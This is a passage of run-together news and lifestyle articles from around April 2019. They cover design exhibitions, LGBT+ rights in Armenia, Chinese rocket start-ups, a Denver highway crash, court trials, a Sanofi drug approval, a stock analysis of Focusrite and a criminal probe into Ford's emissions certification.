ideas, day-brightening accents and furnishings, news you need to knowand then delivering that info directly to you. Heres a roundup of five things that stopped us in our tracks this week that we wanted to be sure you dont miss. Colorful Baby Polar Bears Frolicking in the City Italian artist Paola Pivi is back with her bears. On view at Perrotin New York, "We Are the Baby Gang" features 70 polyurethane foam baby polar bears frolicking, playing, fighting, napping, and exploring the top floor of the gallery. Covered in fluorescent feathers and paused in toddler-like poses, the bears are meant to be a reminder that animals must learn to adapt to climate change to survive. The luminous, otherworldly creatures "contain multitudes" and, really, continue our argument for fluffiness. Go see them before the exhibit closes on June 8. perrotin.com We'll Be Stalking These Independently Run Design Shows What do you get when a group of your favorite designers team up with another group of your favorite designers? In this case, it's Quick Tiny Shows (QTS). Opening April 27 in Buenos Aires, Argentina, the third iteration of QTSan independent initiative founded by Juan Garcia Mosqueda and design studio Riesis showcasing works by Jumbo and Objects of Common Interest. The bimonthly program is only on for two days, like a self-imposed curation challenge, and the show usually transforms Ries's studio courtyard into wild, interactive experiences. We can't wait to see what the makers behind the Insta-famous chubby and tubular chairs come up with. quicktinyshows.com Packages Delivered Inside Your Garage Amazon Prime members in the U.S. can now have their packages delivered directly to their garages. A little invasive? Maybe. Preventative against package thefts? Hopefully. First, you need Key for Garage, part of the Amazon Key service, which lets Amazon drivers deliver packages directly into your home or the trunk of your car. Then youll need a myQ-compatible garage door opener from Chamberlain or LiftMasterwhich, of course, are available on Amazon. Once the hardware is in place, you can select In-Garage Delivery at checkout. You can also remotely control access to your garage using the Key by Amazon app or monitor the space using an Amazon Cloud Cam. The future is now. amazon.com Story continues Hilton Carter Has 300 House Plants and We're Envious Peeking into interior designer Hilton Carter's Baltimore apartment had us jealous of all the greeneryand a little shocked that it only takes about five hours a week to tend to it all. We're instantly feeling inspired by all the different ways the plants are displayed in (those Things by HC cradles!), and we're definitely going to buy his new book, Wild at Home. cupofjo.com So Many Bedding Colors, So Little Time Discovering Flaneur, an independent, female-owned bedding brand with a genius personalization component, has us excited. You can enter a Pantone shade or provide a swatch of, say, your favorite dress or pillow, for custom-matched and dyed sheets. There's even a quiz you can take on the site to see what color bedding suits your personality. One-hundred-percent cotton and so many possibilities. Plus, the brand collaborates with designerswe're looking forward to the rich, summery hues in Heidi Merrick's collection, launching in early May. hiflaneur.com Architectural Digest may earn a portion of sales revenue from purchases made through affiliate links on our site. By Natalie Vikhrov YEREVAN, Armenia, April 26 (Thomson Reuters Foundation) - W hen Lilit Martirosyan became the first openly transgender person to speak in the Armenian parliament earlier this month, it was hailed as a historic moment by LGBT+ campaigners, but it was also followed death threats. "I ask you to see me as a collective figure," the transgender woman told Armenian lawmakers and activists, according to a video posted online of her speech at the hearing on human rights. "I encompass in myself the tortured, raped, kidnapped, subjected to physical violence unemployed, poor and morally abandoned, Armenian transgenders image." Yet while her speech was applauded by rights activists, it provoked a backlash in the landlocked nation of about 3 million people. Since taking the stage in parliament this month, Martirosyan, who leads the human rights non-governmental organization Right Side, said she and her colleagues have received numerous death threats. Her address has also been leaked online, she told the Thomson Reuters Foundation. Earlier this month, about 100 people, including members of nationalist and conservative groups as well as religious figures, gathered in front of parliament to protest against LGBT+ rights. Mamikon Hovsepyan, executive director of the country's leading LGBT+ organization, Pink Armenia, said one person brought a knife to the protest. Armenia's national police didn't respond to a request for comment. REVOLUTION Armenia decriminalized same-sex relations in 2003, but the ex-Soviet republic is the second-worst country for LGBT+ rights in Europe, according to a ranking by campaign group ILGA Europe. Many gay and trans activists were optimistic that the country's deep-seated homophobia would start to decline after mass street protests in April 2018 ousted long-time leader Serzh Sargsyan. Led by journalist-turned-politician Nikol Pashinyan, the bloodless uprising was widely backed by LGBT+ groups, who hoped that along with new leadership, the country would see an improvement in the human rights situation. Story continues Hovsepyan, whose Pink Armenia took part in the revolution, said that while LGBT+ people were present at previous protests, this time they were more visible. "People were more open" during the revolution, Hovsepyan said. "Trans people could (go) outside the way they wanted to go outside, not just hiding and dressing as society wanted them to." For bi-gender activist Nora Petrosyan, who uses both masculine and feminine pronouns, it was also one of the rare times that differing gender identities were accepted in public. "(People) accepted me, took interest... and when new guys came into our group, they stood up for me, they said don't hurt him, he's our friend, he's our brother," Petrosyan said. But Hovsepyan said when the revolution ended in May people reverted back to old homophobic habits. "The same people who were standing hand in hand, knowing they were holding the hand of a gay, lesbian or trans person, they went back to their routine and being involved in the hate process," he said. VIOLENCE AND DISCRIMINATION Less than a month after parliament elected Pashinyan as acting prime minister on May 8, a group of 30 people attacked nine LGBT+ rights activists in the southern village of Shurnukh. The perpetrators were given a collective pardon and law enforcement authorities closed the case. It was reopened after an appeal by Pink Armenia, its staff said. The situation for trans and gender non-conforming people is even worse than for the lesbian, gay and bisexual community in Armenia, Martirosyan said. "Last year, we had a case where a transgender person's home was set on fire. We had another case where a transgender person's throat was cut," Martirosyan said. In February, Right Side staff member Max Varzhapetyan, who identifies as gender non-binary, was assaulted by two men in the center of Yerevan, Armenia's capital. Police opened an investigation into the attack, but despite the incident being caught by surveillance cameras, two months on the perpetrators have not been apprehended, Varzhapetyan said. "People right now think that they are free to spread hate speech against LGBTQ people, beat, mock and violate them." Armenia's police and human rights ombudsman's office did not respond to requests for comment. NO PROTECTION In the lead up to last December's snap elections, parliament members from the Prosperous Armenia Party and the former ruling Republican Party unsuccessfully tried to push through anti-LGBT+ bills. Anti-gay and trans protests were also held around the capital and New Generation, a human rights advocacy group, was forced to cancel an LGBT+ Christians forum, citing threats and lack of police willingness to provide protection. Armenia's police chief Valeriy Osipyan said at the time that he did not think it was appropriate to hold the forum "due to security risks," according to a video posted online. When questioned about the event in parliament last October, Pashinyan said the issue of LGBT+ rights was "a headache." "The more infrequently the issue is discussed, the better for me," he said in an online video. Activists said the ruling coalition has a number of pro-human rights members of parliament but this has yet to translate into tangible policy changes for the LGBT+ community. "Many of the civil society actors... went to work for the government and as soon as they entered their job responsibilities, they suddenly became very quiet," said Arman Sahakyan, the office manager of New Generation. "Anyone in Armenia has the same rights," the prime minister's office said in a statement. The press secretary did not respond to questions on government efforts to protect gay and trans rights. (Reporting by Natalie Vikhrov @natalievikhrov; Additional reporting by Armen Shahbazian; Editing by Hugo Greenhalgh and Jason Fields. Please credit the Thomson Reuters Foundation, the charitable arm of Thomson Reuters that covers humanitarian news, women's and LGBT+ rights, human trafficking, property rights, and climate change. Visit http://news.trust.org) By Ryan Woo LONGKOU, China, April 26 (Reuters) - During initial tests of their 8.1-meter (27-foot) tall reusable rocket, Chinese engineers from LinkSpace, a start-up led by China's youngest space entrepreneur, used a Kevlar tether to ensure its safe return. Just in case. But when the Beijing-based company's prototype, called NewLine Baby, successfully took off and landed last week for the second time in two months, no tether was needed. The 1.5-tonne rocket hovered 40 meters above the ground before descending back to its concrete launch pad after 30 seconds, to the relief of 26-year-old chief executive Hu Zhenyu and his engineers - one of whom cartwheeled his way to the launch pad in delight. LinkSpace, one of China's 15-plus private rocket manufacturers, sees these short hops as the first steps towards a new business model: sending tiny, inexpensive satellites into orbit at affordable prices. Demand for these so-called nanosatellites - which weigh less than 10 kilograms (22 pounds) and are in some cases as small as a shoebox - is expected to explode in the next few years. And China's rocket entrepreneurs reckon there is no better place to develop inexpensive launch vehicles than their home country. "For suborbital clients, their focus will be on scientific research and some commercial uses. After entering orbit, the near-term focus (of clients) will certainly be on satellites," Hu said. In the near term, China envisions massive constellations of commercial satellites that can offer services ranging from high-speed internet for aircraft to tracking coal shipments. Universities conducting experiments and companies looking to offer remote-sensing and communication services are among the potential domestic customers for nanosatellites. A handful of U.S. small-rocket companies are also developing launchers ahead of the expected boom. One of the biggest, Rocket Lab, has already put 25 satellites in orbit. Story continues No private company in China has done that yet. Since October, two - LandSpace and OneSpace - have tried but failed, illustrating the difficulties facing space start-ups everywhere. The Chinese companies are approaching inexpensive launches in different ways. Some, like OneSpace, are designing cheap, disposable boosters. LinkSpace's Hu aspires to build reusable rockets that return to Earth after delivering their payload, much like the Falcon 9 rockets of Elon Musk's SpaceX. "If you're a small company and you can only build a very, very small rocket because that's all you have money for, then your profit margins are going to be narrower," said Macro Caceres, analyst at U.S. aerospace consultancy Teal Group. "But if you can take that small rocket and make it reusable, and you can launch it once a week, four times a month, 50 times a year, then with more volume, your profit increases," Caceres added. Eventually LinkSpace hopes to charge no more than 30 million yuan ($4.48 million) per launch, Hu told Reuters. That is a fraction of the $25 million to $30 million needed for a launch on a Northrop Grumman Innovation Systems Pegasus, a commonly used small rocket. The Pegasus is launched from a high-flying aircraft and is not reusable. (Click https://reut.rs/2UVBjKs to see a picture package of China's rocket start-ups. Click https://tmsnrt.rs/2GIy9Bc for an interactive look at the nascent industry.) NEED FOR CASH LinkSpace plans to conduct suborbital launch tests using a bigger recoverable rocket in the first half of 2020, reaching altitudes of at least 100 kilometers, then an orbital launch in 2021, Hu told Reuters. The company is in its third round of fundraising and wants to raise up to 100 million yuan, Hu said. It had secured tens of millions of yuan in previous rounds. After a surge in fresh funding in 2018, firms like LinkSpace are pushing out prototypes, planning more tests and even proposing operational launches this year. Last year, equity investment in China's space start-ups reached 3.57 billion yuan ($533 million), a report by Beijing-based investor FutureAerospace shows, with a burst of financing in late 2018. That accounted for about 18 percent of global space start-up investments in 2018, a historic high, according to Reuters calculations based on a global estimate by Space Angels. The New York-based venture capital firm said global space start-up investments totalled $2.97 billion last year. "Costs for rocket companies are relatively high, but as to how much funding they need, be it in the hundreds of millions, or tens of millions, or even just a few million yuan, depends on the company's stage of development," said Niu Min, founder of FutureAerospace. FutureAerospace has invested tens of millions of yuan in LandSpace, based in Beijing. Like space-launch startups elsewhere in the world, the immediate challenge for Chinese entrepreneurs is developing a safe and reliable rocket. Proven talent to develop such hardware can be found in China's state research institutes or the military; the government directly supports private firms by allowing them to launch from military-controlled facilities. But it's still a high-risk business, and one unsuccessful launch might kill a company. "The biggest problem facing all commercial space companies, especially early-stage entrepreneurs, is failure" of an attempted flight, Liang Jianjun, chief executive of rocket company Space Trek, told Reuters. That can affect financing, research, manufacturing and the team's morale, he added. Space Trek is planning its first suborbital launch by the end of June and an orbital launch next year, said Liang, who founded the company in late 2017 with three other former military technical officers. Despite LandSpace's failed Zhuque-1 orbital launch in October, the Beijing-based firm secured 300 million yuan in additional funding for the development of its Zhuque-2 rocket a month later. In December, the company started operating China's first private rocket production facility in Zhejiang province, in anticipation of large-scale manufacturing of its Zhuque-2, which it expects to unveil next year. STATE COMPETITION China's state defense contractors are also trying to get into the low-cost market. In December, the China Aerospace Science and Industry Corp (CASIC) successfully launched a low-orbit communication satellite, the first of 156 that CASIC aims to deploy by 2022 to provide more stable broadband connectivity to rural China and eventually developing countries. The satellite, Hongyun-1, was launched on a rocket supplied by the China Aerospace Science and Technology Corp (CASC), the nation's main space contractor. In early April, the China Academy of Launch Vehicle Technology (CALVT), a subsidiary of CASC, completed engine tests for its Dragon, China's first rocket meant solely for commercial use, clearing the path for a maiden flight before July. The Dragon, much bigger than the rockets being developed by private firms, is designed to carry multiple commercial satellites. At least 35 private Chinese companies are working to produce more satellites. Spacety, a satellite maker based in southern Hunan province, plans to put 20 satellites in orbit this year, including its first for a foreign client, chief executive Yang Feng told Reuters. The company has only launched 12 on state-produced rockets since the company started operating in early 2016. "When it comes to rocket launches, what we care about would be cost, reliability and time," Yang said. ($1 = 6.7032 Chinese yuan renminbi) (Reporting by Ryan Woo Additional reporting by Beijing newsroom; Editing by Gerry Doyle) By Keith Coffman DENVER, April 25 (Reuters) - At least one person was killed and several injured in a fiery multi-vehicle crash on Interstate 70 west of Denver during the evening commute on Thursday when a tractor-trailer careened out of the control into several other vehicles, police said. Flames ignited by the crash engulfed a total of three trucks and 12 cars, Ty Countryman, a spokesman for the police department in Lakewood, Colorado, told reporters. "The vehicle came down and ended up colliding with slower traffic, causing a very big chain-reaction crash that also ignited and started a fire," Countryman said, adding that six other people injured in the crash were taken to local hospitals. Video footage of the accident's aftermath showed flames raging beneath and around a highway overpass and a pall of black smoke rising in the air over the scene. A stretch of Interstate 70, a major east-west highway route that runs through Denver into the mountains, was closed in both directions for several hours. Countrymen said engineers from the state Transportation Department were inspecting the overpass bridge for possible structural damage from the fire. Investigators are looking at whether the truck lost its cargo, experienced brake failure or had some other mechanical issue, he said. It was not immediately clear which vehicle accounted for the fatality, he said. (Reporting by Keith Coffman in Denver; Editing by Lisa Shumaker) By Keith Coffman DENVER (Reuters) - Multiple people were killed and many others injured in a fiery multi-vehicle crash west of Denver during the evening commute on Thursday when a tractor-trailer careened out of the control into several other vehicles, police said. Flames ignited by the crash on Interstate 70 engulfed three trucks and 12 cars, Ty Countryman, a spokesman for the police department in Lakewood, Colorado, told reporters. "The vehicle came down and ended up colliding with slower traffic, causing a very big chain-reaction crash that also ignited and started a fire," Countryman said, adding that six other people injured in the crash were taken to local hospitals. Police did not say how many people died, but in a late night Twitter post, they said, "Our crash investigation on I-70 continues. We can now confirm multiple fatalities." Video footage of the accident's aftermath showed flames raging beneath and around a highway overpass and a pall of black smoke in the air over the scene. A stretch of Interstate 70, a major east-west highway route that runs through Denver into the mountains, was closed in both directions. Police said late Thursday that the highway would remain closed overnight. Countryman said engineers from the state Transportation Department were inspecting the overpass bridge for possible structural damage from the fire. Investigators are looking at whether the truck lost its cargo, experienced brake failure or had some other mechanical issue, he said. It was not immediately clear which vehicle accounted for the fatality, he said. (Reporting by Keith Coffman in Denver; and Rich McKay in Atlanta; Editing by Lisa Shumaker and Richard Borsuk) Day three of the murder trial for 17-year-old Dawnta Harris saw 12 state witnesses called to the stand to testify. From a cab driver to a medical examiner and homicide detectives, the jury heard more evidence presented about the burglaries but the most interesting development came from the states fingerprint expert, the Baltimore County Police Department latent print examiner responsible for examining prints collected from the burglarized homes, stolen property and Jeep and compared those with prints from the 4 teens arrested for Officer Amy Caprios death. Police say Harris was the driver of the stolen Jeep that hit and killed Caprio on May 21, 2018. The fingerprint expert Denise Wallace testified that Harris prints were lifted from the Jeep drivers side door as well as from the bottom of a LEGO racer game that was stolen from one of the homes. Prosecutors said in their opening statement that Harris was the getaway driver but up until this point, had only developed the connection between the other three arrested and the burglaries. Wallace confirmed their prints were lifted from spots in and/or around the homes burglarized, on stolen property and on the Jeep. Also on the Jeep, Wallace identified prints of three other males not charged. The men responsible for leaving those prints were confirmed through AFIS. Establishing that Harris knowingly played a part in the burglaries is essential for the state to prove him guilty of first degree murder because of Marylands felony murder statute. Harris defense maintains that he did not play a part in the burglaries, that he stayed in the car and only moved to the front seat to change the radio station and thats when he was confronted by Officer Caprio. Thursday, the jury also heard from the owner of the black Jeep who said it was stolen from his home on May 18, 2018, along with 2 TVs, silverware and a chefs hat with his name on it that was located in the back of the Jeep on May 21, according to a Baltimore County Police technician who testified Wednesday. Paris (AFP) - French pharmaceutical giant Sanofi on Friday said the European Medicines Agency had conditionally approved its anti-cancer drug Libtayo, the first drug of its kind to be authorised for use in the EU. The tumour-reducing drug is aimed at patients with the second most common form of skin cancer -- cutaneous squamous cell carcinoma (CSCC) -- whose cancer is advanced, and who are not candidates for surgery or radiation therapy. Confirming the conditional approval, the agency added in a statement that it had "adopted a positive opinion, recommending the granting of a conditional marketing authorisation for the medicinal product Libtayo, intended for the treatment of advanced cutaneous squamous cell carcinoma". "The benefits with Libtayo are its ability to reduce tumour size and to prevent progression of the tumour for longer," it said. No drugs for the treatment of CSCC are currently approved in the EU, according to Sanofi. Final approval of the drug will be given subject to Sanofi providing further results from clinical trials. The US Food and Drug Administration (FDA) approved Libtayo in September 2018 while Health Canada gave it the conditional green light earlier this month. One of the best investments we can make is in our own knowledge and skill set. With that in mind, this article will work through how we can use Return On Equity (ROE) to better understand a business. To keep the lesson grounded in practicality, we'll use ROE to better understand Focusrite Plc (LON:TUNE). Focusrite has a ROE of 24%, based on the last twelve months. Another way to think of that is that for every 1 worth of equity in the company, it was able to earn 0.24. View our latest analysis for Focusrite How Do I Calculate Return On Equity? The formula for return on equity is: Return on Equity = Net Profit Shareholders' Equity Or for Focusrite: 24% = UK10m UK43m (Based on the trailing twelve months to August 2018.) Most know that net profit is the total earnings after all expenses, but the concept of shareholders' equity is a little more complicated. It is all earnings retained by the company, plus any capital paid in by shareholders. You can calculate shareholders' equity by subtracting the company's total liabilities from its total assets. What Does Return On Equity Mean? ROE looks at the amount a company earns relative to the money it has kept within the business. The 'return' is the yearly profit. That means that the higher the ROE, the more profitable the company is. So, as a general rule, a high ROE is a good thing. Clearly, then, one can use ROE to compare different companies. Does Focusrite Have A Good Return On Equity? By comparing a company's ROE with its industry average, we can get a quick measure of how good it is. Importantly, this is far from a perfect measure, because companies differ significantly within the same industry classification. As is clear from the image below, Focusrite has a better ROE than the average (16%) in the Consumer Durables industry. AIM:TUNE Past Revenue and Net Income, April 26th 2019 That's what I like to see. I usually take a closer look when a company has a better ROE than industry peers. For example you might check if insiders are buying shares. Story continues How Does Debt Impact ROE? Virtually all companies need money to invest in the business, to grow profits. That cash can come from retained earnings, issuing new shares (equity), or debt. In the first and second cases, the ROE will reflect this use of cash for investment in the business. In the latter case, the debt required for growth will boost returns, but will not impact the shareholders' equity. In this manner the use of debt will boost ROE, even though the core economics of the business stay the same. Focusrite's Debt And Its 24% ROE One positive for shareholders is that Focusrite does not have any net debt! Its impressive ROE suggests it is a high quality business, but it's even better to have achieved that without leverage. After all, when a company has a strong balance sheet, it can often find ways to invest in growth, even if it takes some time. The Bottom Line On ROE Return on equity is a useful indicator of the ability of a business to generate profits and return them to shareholders. Companies that can achieve high returns on equity without too much debt are generally of good quality. If two companies have the same ROE, then I would generally prefer the one with less debt. But when a business is high quality, the market often bids it up to a price that reflects this. It is important to consider other factors, such as future profit growth -- and how much investment is required going forward. So I think it may be worth checking this free report on analyst forecasts for the company. If you would prefer check out another company -- one with potentially superior financials -- then do not miss this free list of interesting companies, that have HIGH return on equity and low debt. We aim to bring you long-term focused research analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. If you spot an error that warrants correction, please contact the editor at editorial-team@simplywallst.com. This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. Simply Wall St has no position in the stocks mentioned. Thank you for reading. The Department of Justice has launched an investigation into Ford Motors emissions certification process, the car manufacturing company announced on Friday. Ford opened an internal probe in February after an anonymous employee reporting system first alerted the company to the issue in September 2018, according to the statement. The federal criminal probe was first revealed Friday in filings with the US Securities and Exchange Commission. As previously reported, the Company has become aware of a potential concern involving its US emissions certification process. We voluntarily disclosed this matter to the US Environmental Protection Agency and the California Air Resources Board on February 18, 2019, and February 21, 2019, respectively., the filing reads. Subsequently, the US Department of Justice opened a criminal investigation into the matter, the filing continues. In addition, we have notified a number of other state and federal agencies. We are fully cooperating with all government agencies. Because this matter is still in the preliminary stages, we cannot predict the outcome, and we cannot provide assurance that it will not have a material adverse effect on us." The issue of skirting emissions regulations has caused massive fines and investigations for several car manufacturing giants. The EPA and Volkswagen agreed to a $14.7bn (11.4bn) settlement over an emissions cheating scandal that found the company had installed defeat devices on its diesel engines. The devices provide a capability for engines to detect when they are being tested, before switching to an alternative mode that reflects better emissions numbers. Ford has previously stated its emissions issue is not related to defeat devices. Fiat Chrysler was also alleged to have installed software on its Jeep and Ram vehicles to circumvent emissions rules, before signing an $800m (619m) re-compensation agreement. New York (AFP) - US authorities have opened a criminal probe into Ford's emissions certification process, the automaker said Friday. Ford "voluntarily disclosed" to US and California regulators in February a "potential concern" with the program to certify the amount of pollutants emitted by its vehicles. "Subsequently, the US Department of Justice opened a criminal investigation into the matter," the automaker said in a securities filing, stressing that is it did not involve "defeat devices" that have cost German automaker Volkswagen billions of dollars. Ford also notified additional state and federal agencies and is cooperating with officials, but the automaker could not yet make an estimate of any cost to the company as a result of the investigations. "Because this matter is still in the preliminary stages, we cannot predict the outcome, and we cannot provide assurance that it will not have a material adverse effect on us," Ford said in the filing. The disclosure came after Ford reported $1.1 billion in first-quarter profits, a drop of 34 percent from the comparable period of last year, but better than analysts expected. Volkswagen has paid some $33 billion in fines, compensation and buybacks due to its "dieselgate" scandal, which continues to reverberate. Earlier this month, German prosecutors charged Volkswagen chief executive Martin Winterkorn and four other managers of fraud. Shares of Ford rose 8.9 percent to $10.24 in early trading. The U.S. Justice Department has opened a criminal investigation into Ford Motor Co.'s emissions certification process. Ford said in February that it had begun an internal investigation into whether its vehicles have worse gas mileage and emit more pollutants than car, truck and SUV labels actually reveal, going back to 2017 models. Our investigation continues into how Ford estimates road load as part of the U.S. fuel economy and emissions certification process," Kim Pittel, the company's vice president for environment and safety engineering, said in a new statement issued Friday. "We are working with regulators and independent experts to complete a technical review, as planned," she said. "The Department of Justice contacted us earlier this month to let us know that they had opened a criminal investigation." An anonymous employee reporting system at Ford raised the issue in September 2018, the company disclosed in February. On Friday, the U.S. Securities and Exchange Commission publicly posted the company filing where Ford disclosed a criminal investigation. "As previously reported, the Company has become aware of a potential concern involving its U.S. emissions certification process," the filing said. "We voluntarily disclosed this matter to the U.S. Environmental Protection Agency and the California Air Resources Board on February 18, 2019, and February 21, 2019, respectively. Subsequently, the U.S. Department of Justice opened a criminal investigation into the matter. In addition, we have notified a number of other state and federal agencies. We are fully cooperating with all government agencies. Because this matter is still in the preliminary stages, we cannot predict the outcome, and we cannot provide assurance that it will not have a material adverse effect on us." DOJ not mentioned After the stock market closed Thursday, CFO Bob Shanks delivered a media briefing at Ford World Headquarters in Dearborn, Michigan, where he noted more than once that first quarter earnings would be the best of the year because of due to expected restructuring costs. Story continues Two hours later, Ford CEO Jim Hackett, Shanks and other top executives held an extensive discussion in a call with investors and raised many issues. Executives cited challenges facing the company, ranging from geopolitics, product launches and factory retrofits to UAW contract negotiations, but didn't mention the investigation. Jennifer Flake, executive director of Ford global markets, operations and product communications, explained to the Free Press on Friday, "We make filings like this, in part, to disclose or flag certain risks. ... We want the market to be aware of that." Ford has not announced any personnel changes related to the investigation. The investigation, which Ford confirmed, requires significant technical expertise and will last awhile. These cases often involve big fines. "Ford doesnt know where this is going to end up," said Peter Henning, a former federal prosecutor who teaches law at Wayne State University. "The benefit of self-reporting is that the company receives credit for that. The decision ultimately about whether to bring a criminal charge will hinge on how cooperative the company is. Here, Ford seems to have gotten out in front of this issue, and that will be a benefit for them going forward." Gina Balaya, spokeswoman for the U.S. Attorney's Office in Detroit, said, "Department of Justice policy prohibits us from either confirming or denying the existence of an investigation." Fiat Chrysler, VW, Mercedes too Ford isn't the only member of the Detroit Three facing federal criminal investigation related to emissions. Fiat Chrysler Automobiles is awaiting the results of an investigation into alleged diesel emissions cheating. The company, along with auto supplier Bosch, has agreed to settle a civil case in the matter that could result in payments of about $3,000 for some affected Jeep and Ram owners. FCA, which continues to deny any intentional cheating, expects to spend more than $790 million. The government, however, said the company not only broke the law but also tried to hide its actions. FCA is also facing an unrelated recall, announced last month, of close to 1 million cars and SUVs as a result of emissions investigations. And on April 14, Reuters reported Germanys motor vehicle authority KBA was investigating Daimler on suspicion that 60,000 Mercedes cars produced between 2012 and 2015 were fitted with software designed to fool emissions tests. Volkswagen settled an emissions cheating case with the U.S. Environmental Protection Agency for $14.7 billion in civil penalties and about $3 billion in criminal fines. In addition, several of VW's executives have been charged criminally. The VW case involved "defeat devices" that kicked on during emissions testing but not in normal driving. Unlike VW, Ford emphasized in February, when it disclosed its internal investigation, and again in Friday's SEC filing, "the potential concern does not involve the use of defeat devices." The Ford incident surfaced through an employee "Speak Up" program that allows people to reach out on a number of issues, including concerns. Feedback is submitted by phone, email, website or mobile app. "It allows them to confidentially share their concerns, come forward with questions and share their ideas about improving how the company runs," Flake said Friday. Contact Phoebe Wall Howard: at 313-222-6512 or phoward@freepress.com. Follow her on Twitter @phoebesaid. Staff writer Eric Lawrence contributed to this report. story. This article originally appeared on Detroit Free Press: Ford under criminal investigation by the US government over emissions certification Ottawa (AFP) - The assault trial of a Canadian man once held hostage with his American wife in Afghanistan was suspended Friday while a legal dispute over evidence is sorted out. Joshua Boyle, 35, was arrested and charged with sexual assault and forcible confinement at the end of 2017 just two months after he and his wife Caitlan Coleman, 33, returned to Canada after their five-year hostage ordeal. He pleaded not guilty at his trial, which started in March but could now be delayed for months while Coleman fights the introduction of evidence of the couple's past consensual sexual activities. A hearing is scheduled for May 15. Defense lawyer Eric Granger said the trial could resume as early as July. "That's theoretically possible," he told AFP, following reports that Coleman won't appeal the decision on evidence, whatever the outcome. Boyle and Coleman, who married in 2011, were kidnapped by the Taliban during what they have called a backpacking trip in 2012 and were transferred to the custody of the Taliban-allied Haqqani network. Coleman testified that during captivity, Boyle became physically abusive, biting, choking, punching, slapping and spanking her, as well as casually threatening to kill her in front of their children -- who were born in captivity. The assaults and abuse, she said, paused briefly after their release, but then started up again. The court heard Boyle's 911 call on the day Coleman walked out of the couple's Ottawa apartment at the end of December. He claimed she was mentally unstable, struggling with post-traumatic stress disorder, and might harm herself. But the call triggered a police investigation that led to him being charged. The court has banned the identification of a second alleged victim in the case. I began to think about the layers of history and the concept of Rock Center, a city within a city, explains Brett Littman, curator of Frieze Sculpture and director of The Noguchi Museum. I wanted to move away from the monumental, to think about life-size sculptures and smaller gestures that I could accumulate," he says of Frieze Sculpture, the newly opened public exhibition of works by 14 artists in Rockefeller Plaza. We wanted things that work in scale to the body, continues Loring Randolph, artistic director of Frieze New York. No stanchions, no barriers, everything is fully accessible. This ethos has given Frieze Sculpture a rare quality in a large-scale sculpture show: a sense of intimacy framed by monumentality. The works Littman selected dont only draw attention to themselves; they awaken the eye to the art and architecture that has defined Rock Center since its earliest days. This show is a study in striking difficult and beautiful balances. It encourages the audience to look withinand withoutthemselves, and engages with history while maintaining a strong sense of immediacy. Photo by Timothy Schenck. Image courtesy of Frieze Sculpture. Framed by the entrance to 30 Rock, a Miro sculpture of two interconnected bronze doors stands in the center of the plaza. Its like a magic portal that will transport you, says Littman. Sarah Szes nearby work, Split Stone (7:34), evokes a similar feeling. A knee-high boulder struck in half like a geode, it reveals painted renderings of an iPhone photo of a sunset at its center, transporting the viewer from stone to screen to sky. Adjacent is Jose Davilas Joint Effort, featuring a rock that appears to float between two plinths, held in precarious equilibrium by a red bungee cord and two hooks. Nick Caves Untitled, an oversize black gramophone supported by an upraised Black Power fist, rests on the other side of the plaza. Being at the scale that it is, says Cave, it allows you to peer inside at this vernacular void that seems endless. Its these points of entry that provoke us to think differently, or to think about space and infinity and the unknown. Story continues Photo by Timothy Schenck. Courtesy of Frieze Sculpture. Artist Ibrahim Mohama also found himself thinking differently about space when conceiving his installation, a series of 50 handmade flags that fly from the flagpoles surrounding Rock Centers skating rink. The flags are made out of materials that Ive used in installations on monuments and buildings across Ghana and the world in the past six years, he explains. Now theyve been transformed into these flagsfabric transferred from a building to a pole, to hang in the wind. It reacts to the elements and the weathernow its more activated. Beyond Mohamas flags, we encounter a sculpture of a peacefully sleeping girl with a lamb resting over her in Kiki Smiths Rest Upon installation. Framed by flowering trees and bright sprays of greenery, the work feels like a fairy-tale tableau, something a lucky woodcutter would stumble upon in an enchanted glade. Soft water features burble nearby, extending the woodland feel of this small oasis in a teeming city center. Photo by Timothy Schenck. Image courtesy of Frieze. Soaring above the Kiki Smith on Fifth Avenue, Jaume Plensas Behind The Walls draws the eye up, framing the 40-foot-tall head of a young girl with her hands over her eyes between the sleek lines of skyscrapers. A meditative work, it captures a feeling of introspection, of looking both within and beyond our own internal walls. Im always looking at perception in work and life, says Plensa. I want to bring out the interrelatedness of people, to introduce a certain tenderness to this busy street, and create a link between architecture and people. Something that could become a poetical shelter in which they feel protected. In conceptualizing his work, Nick Cave asked himself, How do we as artists reach the public through this medium [art] that can also provide insight into our existence? Frieze Sculpture offers us the opportunity find these insights, and to reawaken ourselves to the beauty, natural and man-made, that surrounds us. Frieze Sculpture will be on view at Rockefeller Center April 25June 30. The installation spans both indoor and outdoor spaces. Sometimes when two brands collaborate, the connection runs deeper than just an aesthetic match. Thats the case with the Kiku Bed, a new piece launching in the United States on May 1 from Savoir Beds and Fromentaltwo British brands steeped in the tradition of bespoke craftsmanship. The customizable design brings Fromentals hand-painted silk to the headboard of Savoirs handcrafted bed, which is further accented with two colors of cotton satin Tabularasa upholstery from Dedar. Its the first time Savoir, which was founded in 1905, has offered a wall covering in a headboard, having previously focused on fabric and leathers. What I love about the collaboration is, both Fromental and Savoir are heavily guided by the fact that we have a very handcrafted product, but we work on things that shouldnt be seen in a traditional or fusty way, Alistair Hughes, managing director of Savoir Beds, tells AD PRO. Instead, he explains, the Kiku Bed takes this dedication to craft and makes it relevant for today. When we put a design together, it can take as little as 10 minutes or as much as two years, just waiting for the right elements to coalesce, Lizzie Deshayes, who cofounded Fromental with her husband, Tim Butcher, says to AD PRO. This [design] was one of the two-year ones. The idea for this elegant floral print started with a trip to the Musee des Arts Decoratifs, where Deshayes discovered a Japanese-inspired vase circa 1900 by French porcelain manufacturer Haviland & Co. But it wasnt until an exhibition of the work of Hokusai at the British Museum two years later that Deshayes found a painting by the ukiyo-e masters daughter, an artwork that helped crystallize the inspiration into a contemporary luxury silk wall covering. The resulting design takes the traditional chrysanthemum motif and renders it as a pared-down design in salt-painted silk, arranged in panels as if on a folding screenwith four colorways inspired by the symbolism of kimonos. (Though the design is completely customizable, the gilded Edo colorway is based on a kimono designed for married women over 45, just one element of what Deshayes describes as the lovely little threads of history and different cultures woven into the design.) Story continues Photo: Courtesy of Savoir Beds / Fromental The Kiku Bed is the latest collaboration for Savoir Beds, which launched its first designer collaboration in 2015 with the Nicky 01, a bed based on a custom order from London AD100 interior designer Nicky Haslam. Since then, Savoir Beds has collaborated with fashion designers and artists, while continuing to help interior designers realize their visions. What ties them all together is a commitment to a more thoughtful approach toward creating lasting quality. We want [to collaborate with] people who get it, who really understand what we do, says Hughes, who sees the Kiku as the centerpiece for a bedroom that can be mixed with modern or classic 